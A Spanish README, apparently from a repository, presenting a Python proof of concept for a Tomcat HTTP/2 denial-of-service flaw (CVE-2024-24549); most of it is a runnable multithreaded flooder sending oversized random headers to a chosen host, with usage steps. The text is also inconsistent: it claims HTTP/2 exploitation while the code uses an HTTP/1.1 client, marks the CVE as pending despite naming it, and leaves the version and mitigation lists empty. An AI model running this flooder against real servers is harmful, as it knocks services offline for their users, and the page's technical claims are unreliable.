
Prueba de concepto en Python para CVE-2024-24549 que demuestra la denegación de servicio HTTP/2 en Apache Tomcat mediante cabeceras de tamaño excesivo que agotan los recursos del servidor.
Este repositorio contiene un script de Prueba de Concepto (PoC) que demuestra una vulnerabilidad de Denegación de Servicio (DoS) en Apache Tomcat. La vulnerabilidad surge de una validación incorrecta de las entradas en las solicitudes HTTP/2, lo que lleva a posibles condiciones de DoS.
CVE-ID: (Pendiente)
Resumen: Las versiones de Apache Tomcat desde 11.0.0-M1 hasta 11.0.0-M16, 10.1.0-M1 hasta 10.1.18, 9.0.0-M1 hasta 9.0.85 y 8.5.0 hasta 8.5.98 son vulnerables a un ataque de Denegación de Servicio. El problema ocurre al procesar solicitudes HTTP/2 con encabezados que exceden los límites configurados. El flujo HTTP/2 no se restablece hasta que se hayan procesado todos los encabezados, lo que puede provocar el agotamiento de recursos.
Versiones Afectadas:
Mitigaciones:
Este script PoC demuestra cómo explotar la vulnerabilidad de DoS enviando solicitudes HTTP/2 que superan los límites de encabezado configurados. El script envía una gran cantidad de solicitudes para agotar los recursos del servidor.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host en la dirección del servidor objetivo y port en el puerto adecuado (normalmente 443 para HTTPS). Ajuste num_requests para controlar el número de solicitudes enviadas.Para mitigar esta vulnerabilidad:
Para obtener más información sobre cómo proteger su instalación de Apache Tomcat, consulte la documentación oficial de Apache Tomcat.
Este README.md proporciona una visión general de la vulnerabilidad, el script PoC y las instrucciones de mitigación. Asegúrese de manejar este PoC de manera responsable y solo en sistemas donde tenga autorización explícita.